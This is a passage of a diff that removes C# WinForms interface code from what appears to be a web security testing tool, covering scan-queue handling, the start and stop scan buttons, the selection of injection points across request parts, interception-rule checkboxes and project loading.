("ProbeLogGrid"): - return RequestSource.Probe; - case ("ScanLogGrid"): - return RequestSource.Scan; - case ("SiteMapLogGrid"): - string Source = SiteMapLogGrid.SelectedCells[1].Value.ToString(); - switch (Source) - { - case "Proxy": - return RequestSource.Proxy; - case "Test": - return RequestSource.Test; - case "Shell": - return RequestSource.Shell; - case "Probe": - return RequestSource.Probe; - case "Scan": - return RequestSource.Scan; - } - break; - case ("ResultsTriggersGrid"): - return RequestSource.Trigger; - case ("TestGroupLogGrid"): - return RequestSource.TestGroup; - case("OtherLogGrid"): - return IronLog.SelectedOtherSource; - case("LogOptionsBtn"): - return RequestSource.SelectedLogEntry; - case("ProxyOptionsBtn"): - return RequestSource.CurrentProxyInterception; - } - return RequestSource.Proxy; - } - - private string GetID() - { - switch (IronLog.SourceControl) - { - case ("ProxyLogGrid"): - return ProxyLogGrid.SelectedCells[0].Value.ToString(); - case ("ShellLogGrid"): - return ShellLogGrid.SelectedCells[0].Value.ToString(); - case ("TestLogGrid"): - return TestLogGrid.SelectedCells[0].Value.ToString(); - case ("ProbeLogGrid"): - return ProbeLogGrid.SelectedCells[0].Value.ToString(); - case ("ScanLogGrid"): - return ScanLogGrid.SelectedCells[0].Value.ToString(); - case ("SiteMapLogGrid"): - return SiteMapLogGrid.SelectedCells[0].Value.ToString(); - case ("ResultsTriggersGrid"): - string TrimmedTriggerVal = ResultsTriggersGrid.SelectedCells[0].Value.ToString(); - if (TrimmedTriggerVal.Equals("Normal")) - { - return "0"; - } - else - { - return TrimmedTriggerVal.Replace("Trigger", "").Trim(); - } - case ("TestGroupLogGrid"): - return TestGroupLogGrid.SelectedCells[1].Value.ToString(); - case ("OtherLogGrid"): - return OtherLogGrid.SelectedCells[0].Value.ToString(); - case("LogOptionsBtn"): - case ("ProxyOptionsBtn"): - return "0"; - } - return ""; - } - - private void ASQueueGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ASQueueGrid.SelectedCells.Count < 1 || ASQueueGrid.SelectedCells[0].Value == null) - { - return; - } - try - { - this.ASStartScanBtn.Enabled = false; - Scanner.ResetChangedStatus(); - IronUI.ResetConfigureScanFields(); - Thread T = new Thread(Scanner.LoadScannerFromDDAndFillAutomatedScanningTab); - T.Start(Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString())); - } - catch(Exception Exp) - { - IronException.Report("Unable to load Request from Scan Queue DB", Exp.Message, Exp.StackTrace); - IronUI.ShowConfigureScanException("Unable to load Request"); - return; - } - - //try - //{ - // Scanner.CurrentScanID = Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString()); - // Scanner.CurrentScanner = IronDB.GetScannerFromDB(Scanner.CurrentScanID); - //} - //catch(Exception Exp) - //{ - // IronException.Report("Unable to load Request from Scan Queue DB", Exp.Message, Exp.StackTrace); - // IronUI.ShowConfigureScanException("Unable to load Request"); - // return; - //} - //Scanner.CurrentScanner.OriginalRequest.Source = RequestSource.Scan; - //try - //{ - // IronUI.FillConfigureScanFullFields(Scanner.CurrentScanner.OriginalRequest); - // this.ASRequestTabs.SelectTab(0); - // IronUI.UpdateScanTabsWithRequestData(); - // ScanIDLbl.Text = "Scan ID: " + Scanner.CurrentScanID.ToString(); - // ScanStatusLbl.Text = "Scan Status: " + ScanStatus; - // Scanner.ResetChangedStatus(); - //} - //catch(Exception Exp) - //{ - // IronException.Report("Unable to display Request in 'Automated Scanning' section", Exp.Message, Exp.StackTrace); - // IronUI.ShowConfigureScanException("Unable to display request"); - // return; - //} - - //if (ASScanPluginsGrid.Rows.Count > 0) - //{ - // ASScanPluginsGrid.Rows[0].Cells[0].Value = false; - // foreach (DataGridViewRow Row in this.ASScanPluginsGrid.Rows) - // { - // if (Row.Index > 0) - // { - // Row.Cells[0].Value = Scanner.CurrentScanner.ShowChecks().Contains(Row.Cells[1].Value.ToString()); - // } - // } - // if (ASScanPluginsGrid.Rows.Count > 1) - // { - // bool AllSelected = true; - // for (int i = 1; i < ASScanPluginsGrid.Rows.Count; i++) - // { - // if (!(bool)ASScanPluginsGrid.Rows[i].Cells[0].Value) - // { - // AllSelected = false; - // break; - // } - // } - // if (AllSelected) ASScanPluginsGrid.Rows[0].Cells[0].Value = true; - // } - //} - - //this.ASSessionPluginsCombo.Items.Add(""); - //int SelectedSessionPluginID = -1; - //bool SelectedSessionPluginFound = false; - //foreach (string Name in SessionPlugin.List()) - //{ - // int ItemID = this.ASSessionPluginsCombo.Items.Add(Name); - // if (!SelectedSessionPluginFound) - // { - // if (Scanner.CurrentScanner.SessionHandler.Name.Equals(Name)) - // { - // SelectedSessionPluginID = ItemID; - // SelectedSessionPluginFound = true; - // } - // } - //} - - //if(SelectedSessionPluginID >= 0 ) this.ASSessionPluginsCombo.SelectedIndex = SelectedSessionPluginID; - //try - //{ - // FillInjectionsPointsinUI(Scanner.CurrentScanner); - //} - //catch (Exception Exp) - //{ - // IronException.Report("Error restoring 'Automated Scan' configuration information from DB", Exp.Message, Exp.StackTrace); - // IronUI.ShowConfigureScanException("Error retriving scan information"); - //} - - //if (ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Completed") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Running")) - //{ - // this.ASStartScanBtn.Text = "Scan Again"; - //} - //else if (ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Not Started") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Incomplete") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Aborted") || ASQueueGrid.SelectedCells[1].Value.ToString().Equals("Stopped")) - //{ - // this.ASStartScanBtn.Text = "Start Scan"; - //} - //this.ASStartScanBtn.Enabled = true; - } - - //void FillInjectionsPointsinUI(Scanner Scanner) - //{ - // bool AllUlr = ASRequestScanURLGrid.Rows.Count > 0; - // foreach (DataGridViewRow Row in this.ASRequestScanURLGrid.Rows) - // { - // bool Result = Scanner.URLInjections.Contains(Row.Index); - // if (AllUlr) - // { - // AllUlr = Result; - // } - // Row.Cells[0].Value = Result; - // } - - // int SubParameterIndex = 0; - // string LastParameterName = ""; - - // bool AllQuery = ASRequestScanQueryGrid.Rows.Count > 0; - // foreach (DataGridViewRow Row in this.ASRequestScanQueryGrid.Rows) - // { - // string Name = Row.Cells[1].Value.ToString(); - // if (Name.Equals(LastParameterName)) - // { - // SubParameterIndex++; - // } - // else - // { - // SubParameterIndex = 0; - // } - // bool Result = Scanner.QueryInjections.Has(Name) && Scanner.QueryInjections.GetAll(Name).Contains(SubParameterIndex); - // if (AllQuery) - // { - // AllQuery = Result; - // } - // Row.Cells[0].Value = Result; - // LastParameterName = Name; - // } - - // SubParameterIndex = 0; - // LastParameterName = ""; - - // bool AllBody = ConfigureScanRequestBodyGrid.Rows.Count > 0; - // if (Scanner.BodyFormat.Name.Length == 0) - // { - // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyGrid.Rows) - // { - // string Name = Row.Cells[1].Value.ToString(); - // if (Name.Equals(LastParameterName)) - // { - // SubParameterIndex++; - // } - // else - // { - // SubParameterIndex = 0; - // } - // bool Result = Scanner.BodyInjections.Has(Name) && Scanner.BodyInjections.GetAll(Name).Contains(SubParameterIndex); - // if (AllBody) - // { - // AllBody = Result; - // } - // Row.Cells[0].Value = Result; - // LastParameterName = Name; - // } - // } - // else - // { - // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyGrid.Rows) - // { - // bool Result = Scanner.BodyXmlInjections.Contains(Row.Index); - // if (AllBody) - // { - // AllBody = Result; - // } - // Row.Cells[0].Value = Result; - // } - // } - - // SubParameterIndex = 0; - // LastParameterName = ""; - - // bool AllCookie = ASRequestScanCookieGrid.Rows.Count > 0; - // foreach (DataGridViewRow Row in this.ASRequestScanCookieGrid.Rows) - // { - // string Name = Row.Cells[1].Value.ToString(); - // if (Name.Equals(LastParameterName)) - // { - // SubParameterIndex++; - // } - // else - // { - // SubParameterIndex = 0; - // } - // bool Result = Scanner.CookieInjections.Has(Name) && Scanner.CookieInjections.GetAll(Name).Contains(SubParameterIndex); - // if (AllCookie) - // { - // AllCookie = Result; - // } - // Row.Cells[0].Value = Result; - // LastParameterName = Name; - // } - - // SubParameterIndex = 0; - // LastParameterName = ""; - - // bool AllHeaders = ASRequestScanHeadersGrid.Rows.Count > 0; - // foreach (DataGridViewRow Row in this.ASRequestScanHeadersGrid.Rows) - // { - // string Name = Row.Cells[1].Value.ToString(); - // if (Name.Equals(LastParameterName)) - // { - // SubParameterIndex++; - // } - // else - // { - // SubParameterIndex = 0; - // } - // bool Result = Scanner.HeadersInjections.Has(Name) && Scanner.HeadersInjections.GetAll(Name).Contains(SubParameterIndex); - // if (AllHeaders) - // { - // AllHeaders = Result; - // } - // Row.Cells[0].Value = Result; - // LastParameterName = Name; - // } - - // ASRequestScanAllCB.Checked = AllUlr && AllQuery && AllBody && AllCookie && AllHeaders; - // ASRequestScanURLCB.Checked = AllUlr; - // ASRequestScanQueryCB.Checked = AllQuery ; - // ASRequestScanBodyCB.Checked = AllBody; - // ASRequestScanCookieCB.Checked = AllCookie; - // ASRequestScanHeadersCB.Checked = AllHeaders; - //} - - private void ScanLogGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanLogGrid.SelectedCells.Count < 1 || ScanLogGrid.SelectedCells[0].Value == null || ScanLogGrid.SelectedRows.Count == 0) - { - return; - } - IronLog.ShowLog(RequestSource.Scan, ScanLogGrid.SelectedCells[0].Value.ToString(), ScanLogGrid.SelectedRows[0].Index, false); - return; - } - - private void ASStartScanBtn_Click(object sender, EventArgs e) - { - try - { - try - { - if (this.ASStartScanBtn.Text.Equals("Start Scan")) - { - string ID = Scanner.CurrentScanID.ToString(); - foreach (DataGridViewRow Row in ASQueueGrid.Rows) - { - if (Row.Cells[0].Value.ToString().Equals(ID)) - { - if (Row.Cells[1].Value.ToString().Equals("Running")) - { - IronUI.ShowConfigureScanException("This ScanJob is already running"); - return; - } - } - } - } - else if (this.ASStartScanBtn.Text.Equals("Stop Scan")) - { - try - { - string Status = ASQueueGrid.SelectedCells[1].Value.ToString(); - if (Status.Equals("Running")) - { - int ScanID = Int32.Parse(ASQueueGrid.SelectedCells[0].Value.ToString()); - Scanner.ScanThreads[ScanID].Abort(); - } - this.ASStartScanBtn.Text = "Start Scan"; - } - catch(Exception Exp) - { - IronUI.ShowConfigureScanException("Unable to stop this scan"); - IronException.Report("Unable to Stop a Active Scan Job", Exp.Message, Exp.StackTrace); - } - return; - } - } - catch { } - //try - //{ - // IronUI.HandleAnyChangesInConfigureScanRequest(); - //} - //catch (Exception Exp) - //{ - // IronUI.ShowConfigureScanException(Exp.Message); - // return; - //} - if (Scanner.CurrentScanner == null) - { - IronUI.ShowConfigureScanException("No Scan Job selected"); - return; - } - if (Scanner.CurrentScanner.OriginalRequest == null) - { - IronUI.ShowConfigureScanException("No Scan Job selected"); - return; - } - - //string SelectedFormatPlugin = "None"; - //if (Scanner.CurrentScanner.BodyFormat.Name.Length > 0) SelectedFormatPlugin = Scanner.CurrentScanner.BodyFormat.Name; - - - //Scanner.CurrentScanner.URLInjections = new List(); - //if (this.ASRequestScanURLCB.Checked) - //{ - // Scanner.CurrentScanner.InjectURL(); - //} - //else - //{ - // for (int i = 0; i < this.ASRequestScanURLGrid.Rows.Count; i++) - // { - // if ((bool)this.ASRequestScanURLGrid.Rows[i].Cells[0].Value) - // { - // Scanner.CurrentScanner.InjectUrl(i); - // } - // } - //} - //Scanner.CurrentScanner.QueryInjections = new InjectionParameters(); - //if (this.ASRequestScanQueryCB.Checked) - //{ - // Scanner.CurrentScanner.InjectQuery(); - //} - //else - //{ - // int SubParameterPosition = 0; - // string ParameterName = ""; - // foreach (DataGridViewRow Row in this.ASRequestScanQueryGrid.Rows) - // { - // string CurrentParameterName = Row.Cells[1].Value.ToString(); - // if (ParameterName.Equals(CurrentParameterName)) - // { - // SubParameterPosition++; - // } - // else - // { - // ParameterName = CurrentParameterName; - // SubParameterPosition = 0; - // } - // if ((bool)Row.Cells[0].Value) - // { - // Scanner.CurrentScanner.InjectQuery(ParameterName, SubParameterPosition); - // } - // } - //} - - //if (ASBodyTypeNormalRB.Checked) - //{ - // if (this.ASRequestScanBodyCB.Checked) - // { - // Scanner.CurrentScanner.InjectBody(); - // } - // else - // { - // int SubParameterPosition = 0; - // string ParameterName = ""; - - // foreach (DataGridViewRow Row in this.ASRequestScanBodyTypeNormalGrid.Rows) - // { - // string CurrentParameterName = Row.Cells[1].Value.ToString(); - // if (ParameterName.Equals(CurrentParameterName)) - // { - // SubParameterPosition++; - // } - // else - // { - // ParameterName = CurrentParameterName; - // SubParameterPosition = 0; - // } - // if ((bool)Row.Cells[0].Value) - // { - // Scanner.CurrentScanner.InjectBody(ParameterName, SubParameterPosition); - // } - // } - // } - //} - //else if (ASBodyTypeFormatPluginRB.Checked) - //{ - // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows) - // { - // if ((bool)Row.Cells[0].Value) - // { - // Scanner.CurrentScanner.InjectBody(Row.Index); - // } - // } - //} - //else if (ASBodyTypeCustomRB.Checked) - //{ - // if (ASRequestScanBodyCB.Checked) - // { - // Scanner.CurrentScanner.InjectBody(Scanner.CurrentScanner.CustomInjectionPointStartMarker, Scanner.CurrentScanner.CustomInjectionPointEndMarker); - // } - // else - // { - // Scanner.CurrentScanner.CustomInjectionPointStartMarker = ""; - // Scanner.CurrentScanner.CustomInjectionPointEndMarker = ""; - // } - //} - //else - //{ - // Scanner.CurrentScanner.BodyInjections = new InjectionParameters(); - // Scanner.CurrentScanner.CustomInjectionPointStartMarker = ""; - // Scanner.CurrentScanner.CustomInjectionPointEndMarker = ""; - // Scanner.CurrentScanner.BodyFormat = new FormatPlugin(); - //} - //Scanner.CurrentScanner.CookieInjections = new InjectionParameters(); - //if (this.ASRequestScanCookieCB.Checked) - //{ - // Scanner.CurrentScanner.InjectCookie(); - //} - //else - //{ - // int SubParameterPosition = 0; - // string ParameterName = ""; - // foreach (DataGridViewRow Row in this.ASRequestScanCookieGrid.Rows) - // { - // string CurrentParameterName = Row.Cells[1].Value.ToString(); - // if (ParameterName.Equals(CurrentParameterName)) - // { - // SubParameterPosition++; - // } - // else - // { - // ParameterName = CurrentParameterName; - // SubParameterPosition = 0; - // } - // if ((bool)Row.Cells[0].Value) - // { - // Scanner.CurrentScanner.InjectCookie(ParameterName, SubParameterPosition); - // } - // } - //} - //Scanner.CurrentScanner.HeadersInjections = new InjectionParameters(); - //if (this.ASRequestScanHeadersCB.Checked) - //{ - // Scanner.CurrentScanner.InjectHeaders(); - //} - //else - //{ - // int SubParameterPosition = 0; - // string ParameterName = ""; - // foreach (DataGridViewRow Row in this.ASRequestScanHeadersGrid.Rows) - // { - // string CurrentParameterName = Row.Cells[1].Value.ToString(); - // if (ParameterName.Equals(CurrentParameterName)) - // { - // SubParameterPosition++; - // } - // else - // { - // ParameterName = CurrentParameterName; - // SubParameterPosition = 0; - // } - // if ((bool)Row.Cells[0].Value) - // { - // Scanner.CurrentScanner.InjectHeaders(ParameterName, SubParameterPosition); - // } - // } - //} - - //if ((Scanner.CurrentScanner.URLInjections.Count + Scanner.CurrentScanner.QueryInjections.Count + Scanner.CurrentScanner.BodyInjections.Count + Scanner.CurrentScanner.BodyXmlInjections.Count + Scanner.CurrentScanner.GetCustomInjectionPointsCount() + Scanner.CurrentScanner.CookieInjections.Count + Scanner.CurrentScanner.HeadersInjections.Count) == 0) - //{ - // IronUI.ShowConfigureScanException("No Injection Points Selected or Available!"); - // return; - //} - - //StringBuilder ScanPluginsBuilder = new StringBuilder(); - //foreach (DataGridViewRow Row in ASScanPluginsGrid.Rows) - //{ - // if (Row.Index > 0) - // { - // if ((bool)Row.Cells[0].Value) - // { - // string PluginName = Row.Cells[1].Value.ToString(); - // Scanner.CurrentScanner.AddCheck(PluginName); - // ScanPluginsBuilder.Append(PluginName); - // ScanPluginsBuilder.Append(","); - // } - // } - //} - //string SelectedScanPlugins = ScanPluginsBuilder.ToString().TrimEnd(new char[] { ',' }); - //if (Scanner.CurrentScanner.ShowChecks().Count == 0) - //{ - // IronUI.ShowConfigureScanException("No Plugin Selected!"); - // return; - //} - ////string SelectedSessionPlugin = "None"; - ////if (ASSessionPluginsCombo.SelectedItem != null) - ////{ - //// string SessionPluginName = this.ASSessionPluginsCombo.SelectedItem.ToString(); - //// if (SessionPluginName.Length > 0) - //// { - //// Scanner.CurrentScanner.SessionHandler = SessionPlugin.Get(SessionPluginName); - //// SelectedSessionPlugin = SessionPluginName; - //// } - ////} - - //if (Scanner.CurrentScanner.ShowChecks().Count == 0) - //{ - // IronUI.ShowConfigureScanException("No Plugin Selected!"); - // return; - //} - - if (ASStartScanBtn.Text.Equals("Start Scan")) - Scanner.CurrentScanner.StartScan(); - else - Scanner.CurrentScanner.LaunchScan(); - - Scanner.CurrentScanner = null; - Scanner.CurrentScanID = 0; - this.ASStartScanBtn.Text = "Scan"; - Scanner.ResetChangedStatus(); - IronUI.ResetConfigureScanFields(); - ScanDisplayPanel.Visible = false; - ScanTopPanel.Visible = true; - ScanJobsBaseSplit.SplitterDistance = 62; - } - catch(Exception Exp) - { - IronException.Report("Error starting a configured scan", Exp.Message, Exp.StackTrace); - } - } - - //private void ASScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ASScanPluginsGrid.SelectedCells.Count < 1 || ASScanPluginsGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if (this.ASScanPluginsGrid.SelectedRows[0].Index == 0) - // { - // bool AllValue = !(bool)this.ASScanPluginsGrid.SelectedCells[0].Value; - // this.ASScanPluginsGrid.SelectedCells[0].Value = AllValue; - // foreach (DataGridViewRow Row in this.ASScanPluginsGrid.Rows) - // { - // if (Row.Index > 0) - // { - // Row.Cells[0].Value = AllValue; - // } - // } - // return; - // } - // if ((bool)this.ASScanPluginsGrid.SelectedCells[0].Value) - // { - // this.ASScanPluginsGrid.SelectedCells[0].Value = false; - // this.ASScanPluginsGrid.Rows[0].SetValues(new object[]{false, "All"}); - // } - // else - // { - // this.ASScanPluginsGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASRequestScanAllCB_Click(object sender, EventArgs e) - //{ - // CheckAllASRequestInjections(); - //} - - //private void CheckAllASRequestInjections() - //{ - // this.ASRequestScanURLCB.Checked = this.ASRequestScanAllCB.Checked; - // this.CheckAllASRequestScanURLGridRows(); - // this.ASRequestScanQueryCB.Checked = this.ASRequestScanAllCB.Checked; - // this.CheckAllASRequestScanQueryGridRows(); - // this.ASRequestScanBodyCB.Checked = this.ASRequestScanAllCB.Checked; - // this.CheckAllASRequestScanBodyGridRows(); - // this.ASRequestScanCookieCB.Checked = this.ASRequestScanAllCB.Checked; - // this.CheckAllASRequestScanCookieGridRows(); - // this.ASRequestScanHeadersCB.Checked = this.ASRequestScanAllCB.Checked; - // this.CheckAllASRequestScanHeadersGridRows(); - //} - - private void ASRequestScanURLCB_Click(object sender, EventArgs e) - { - this.CheckAllASRequestScanURLGridRows(); - if (!this.ASRequestScanURLCB.Checked) - { - if (this.ASRequestScanAllCB.Checked) - { - this.ASRequestScanAllCB.Checked = false; - } - } - } - private void CheckAllASRequestScanURLGridRows() - { - foreach (DataGridViewRow Row in this.ASRequestScanURLGrid.Rows) - { - Row.Cells[0].Value = this.ASRequestScanURLCB.Checked; - } - } - private void ASRequestScanQueryCB_Click(object sender, EventArgs e) - { - this.CheckAllASRequestScanQueryGridRows(); - if (!this.ASRequestScanQueryCB.Checked) - { - if (this.ASRequestScanAllCB.Checked) - { - this.ASRequestScanAllCB.Checked = false; - } - } - } - private void CheckAllASRequestScanQueryGridRows() - { - foreach (DataGridViewRow Row in this.ASRequestScanQueryGrid.Rows) - { - Row.Cells[0].Value = this.ASRequestScanQueryCB.Checked; - } - } - //private void ASRequestScanBodyCB_Click(object sender, EventArgs e) - //{ - // this.CheckAllASRequestScanBodyGridRows(); - // if (!this.ASRequestScanBodyCB.Checked) - // { - // if (this.ASRequestScanAllCB.Checked) - // { - // this.ASRequestScanAllCB.Checked = false; - // } - // } - //} - //private void CheckAllASRequestScanBodyGridRows() - //{ - // if (ASBodyTypeNormalRB.Checked) - // { - // foreach (DataGridViewRow Row in this.ASRequestScanBodyTypeNormalGrid.Rows) - // { - // Row.Cells[0].Value = this.ASRequestScanBodyCB.Checked; - // } - // } - // if (ASBodyTypeFormatPluginRB.Checked) - // { - // foreach (DataGridViewRow Row in this.ConfigureScanRequestBodyTypeFormatPluginGrid.Rows) - // { - // Row.Cells[0].Value = this.ASRequestScanBodyCB.Checked; - // } - // } - // if (ASBodyTypeCustomRB.Checked) - // { - // ASRequestScanBodyCB.Checked = false; - // IronUI.ShowConfigureScanException("For custom injection markers press 'Apply' next to the injection marker textbox."); - // } - //} - private void ASRequestScanCookieCB_Click(object sender, EventArgs e) - { - this.CheckAllASRequestScanCookieGridRows(); - if (!this.ASRequestScanCookieCB.Checked) - { - if (this.ASRequestScanAllCB.Checked) - { - this.ASRequestScanAllCB.Checked = false; - } - } - } - private void CheckAllASRequestScanCookieGridRows() - { - foreach (DataGridViewRow Row in this.ASRequestScanCookieGrid.Rows) - { - Row.Cells[0].Value = this.ASRequestScanCookieCB.Checked; - } - } - private void ASRequestScanHeadersCB_Click(object sender, EventArgs e) - { - this.CheckAllASRequestScanHeadersGridRows(); - if (!this.ASRequestScanHeadersCB.Checked) - { - if (this.ASRequestScanAllCB.Checked) - { - this.ASRequestScanAllCB.Checked = false; - } - } - } - private void CheckAllASRequestScanHeadersGridRows() - { - foreach (DataGridViewRow Row in this.ASRequestScanHeadersGrid.Rows) - { - Row.Cells[0].Value = this.ASRequestScanHeadersCB.Checked; - } - } - - //private void ASRequestScanURLGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ASRequestScanURLGrid.SelectedCells.Count < 1 || ASRequestScanURLGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if ((bool)this.ASRequestScanURLGrid.SelectedCells[0].Value) - // { - // this.ASRequestScanURLGrid.SelectedCells[0].Value = false; - // this.ASRequestScanAllCB.Checked = false; - // this.ASRequestScanURLCB.Checked = false; - // } - // else - // { - // this.ASRequestScanURLGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASRequestScanQueryGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ASRequestScanQueryGrid.SelectedCells.Count < 1 || ASRequestScanQueryGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if ((bool)this.ASRequestScanQueryGrid.SelectedCells[0].Value) - // { - // this.ASRequestScanQueryGrid.SelectedCells[0].Value = false; - // this.ASRequestScanAllCB.Checked = false; - // this.ASRequestScanQueryCB.Checked = false; - // } - // else - // { - // this.ASRequestScanQueryGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASRequestScanBodyGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells.Count < 1 || ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if ((bool)this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value) - // { - // this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value = false; - // this.ASRequestScanAllCB.Checked = false; - // this.ASRequestScanBodyCB.Checked = false; - // } - // else - // { - // this.ConfigureScanRequestBodyTypeFormatPluginGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASRequestScanCookieGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ASRequestScanCookieGrid.SelectedCells.Count < 1 || ASRequestScanCookieGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if ((bool)this.ASRequestScanCookieGrid.SelectedCells[0].Value) - // { - // this.ASRequestScanCookieGrid.SelectedCells[0].Value = false; - // this.ASRequestScanAllCB.Checked = false; - // this.ASRequestScanCookieCB.Checked = false; - // } - // else - // { - // this.ASRequestScanCookieGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASRequestScanHeadersGrid_CellClick(object sender, DataGridViewCellEventArgs e) - //{ - // if (ASRequestScanHeadersGrid.SelectedCells.Count < 1 || ASRequestScanHeadersGrid.SelectedCells[0].Value == null) - // { - // return; - // } - // if ((bool)this.ASRequestScanHeadersGrid.SelectedCells[0].Value) - // { - // this.ASRequestScanHeadersGrid.SelectedCells[0].Value = false; - // this.ASRequestScanAllCB.Checked = false; - // this.ASRequestScanHeadersCB.Checked = false; - // } - // else - // { - // this.ASRequestScanHeadersGrid.SelectedCells[0].Value = true; - // } - //} - - //private void ASSessionPluginsCombo_SelectionChangeCommitted(object sender, EventArgs e) - //{ - // this.ASScanPluginsGrid.Focus(); - //} - - private void UpdateBodyGridForFormat(FormatPlugin Plugin, bool CheckStatus) - { - ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Clear(); - string XmlString = Plugin.ToXml(Scanner.CurrentScanner.OriginalRequest.BodyArray); - ConfigureScanRequestFormatXMLTB.Text = XmlString; - string[,] InjectionPoints = FormatPlugin.XmlToArray(XmlString); - for (int i = 0; i < InjectionPoints.GetLength(0); i++) - { - ConfigureScanRequestBodyTypeFormatPluginGrid.Rows.Add(new object[] { CheckStatus, InjectionPoints[i, 0], InjectionPoints[i, 1] }); - } - } - - private void ConfigRuleFileExtensionsCB_CheckedChanged(object sender, EventArgs e) - { - bool Status = ConfigRuleFileExtensionsCB.Checked; - ConfigRuleFileExtensionsPlusRB.Enabled = Status; - ConfigRuleFileExtensionsPlusTB.Enabled = Status; - ConfigRuleFileExtensionsMinusRB.Enabled = Status; - ConfigRuleFileExtensionsMinusTB.Enabled = Status; - } - - private void ConfigRuleHostNamesCB_CheckedChanged(object sender, EventArgs e) - { - bool Status = ConfigRuleHostNamesCB.Checked; - ConfigRuleHostNamesPlusRB.Enabled = Status; - ConfigRuleHostNamesPlusTB.Enabled = Status; - ConfigRuleHostNamesMinusRB.Enabled = Status; - ConfigRuleHostNamesMinusTB.Enabled = Status; - } - - private void ConfigRuleKeywordInRequestCB_CheckedChanged(object sender, EventArgs e) - { - bool Status = ConfigRuleKeywordInRequestCB.Checked; - ConfigRuleKeywordInRequestPlusRB.Enabled = Status; - ConfigRuleKeywordInRequestPlusTB.Enabled = Status; - ConfigRuleKeywordInRequestMinusRB.Enabled = Status; - ConfigRuleKeywordInRequestMinusTB.Enabled = Status; - } - - private void ConfigRuleKeywordInResponseCB_CheckedChanged(object sender, EventArgs e) - { - bool Status = ConfigRuleKeywordInResponseCB.Checked; - ConfigRuleKeywordInResponsePlusRB.Enabled = Status; - ConfigRuleKeywordInResponsePlusTB.Enabled = Status; - ConfigRuleKeywordInResponseMinusRB.Enabled = Status; - ConfigRuleKeywordInResponseMinusTB.Enabled = Status; - } - - private void ConfigRuleApplyChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - Config.UpdateInterceptionRulesFromUI(); - IronDB.StoreInterceptRules(); - } - - private void ConfigRuleCancelChangesLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - IronUI.UpdateInterceptionRulesInUIFromConfig(); - } - - private void OpenProjectToolStripMenuItem_Click(object sender, EventArgs e) - { - string LogFilesDirectory = ""; - ProjectFileOpenDialog.InitialDirectory = Config.RootDir + "\\log\\"; - while (ProjectFileOpenDialog.ShowDialog() == DialogResult.OK) - { - if (!ProjectFileOpenDialog.SafeFileName.Equals("Project.iron", StringComparison.InvariantCultureIgnoreCase)) - { - MessageBox.Show("Only files named 'Project.iron' are allowed"); - } - else - { - FileInfo Info = new FileInfo(ProjectFileOpenDialog.FileName); - LogFilesDirectory = Info.Directory.FullName; - break; - } - } - if (LogFilesDirectory.Length > 0) - { - CloseCurrentProjectAndPrepareForReload(); - IronDB.UpdateLogFilePaths(LogFilesDirectory); - LoadSelectedTraceBtn.Enabled = false; - IronUI.StartUpdatingFullUIFromDB(); - } - } - - void CloseCurrentProjectAndPrepareForReload() - { - try { IronUI.RGW.Close(); } - catch { } - } - - private void ProxyRequestHeadersIDV_IDVTextChanged() - { - IronProxy.RequestHeaderChanged = true; - IronProxy.RequestChanged = true; - } - - private void ProxyRequestBodyIDV_IDVTextChanged() - { - IronProxy.RequestBodyChanged = true; - IronProxy.RequestChanged = true; - } - - private void ProxyResponseHeadersIDV_IDVTextChanged() - { - IronProxy.ResponseHeaderChanged = true; - IronProxy.ResponseChanged = true; - } - - private void ProxyResponseBodyIDV_IDVTextChanged() - { - IronProxy.ResponseBodyChanged = true; - IronProxy.ResponseChanged = true; - } - - private void ProxyRequestParametersQueryGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - IronProxy.RequestQueryParametersChanged = true; - IronProxy.RequestChanged = true; - } - - private void ProxyRequestParametersBodyGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - IronProxy.RequestBodyParametersChanged = true; - IronProxy.RequestChanged = true; - } - - private void ProxyRequestParametersCookieGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - IronProxy.RequestCookieParametersChanged = true; - IronProxy.RequestChanged = true; - } - - private void ProxyRequestParametersHeadersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - IronProxy.RequestHeaderParametersChanged = true; - IronProxy.RequestChanged = true; - } - - //private void ProxyRequestParametersTabs_Deselecting(object sender, TabControlCancelEventArgs e) - //{ - // if (IronProxy.ManualTamperingFree) return; - // try - // { - // IronUI.ResetProxyException(); - // IronUI.HandleAnyChangesInRequest(); - // } - // catch(Exception Exp) - // { - // IronUI.ShowProxyException(Exp.Message); - // } - //} - - //private void ProxyInterceptRequestTabs_Deselecting(object sender, TabControlCancelEventArgs e) - //{ - // if 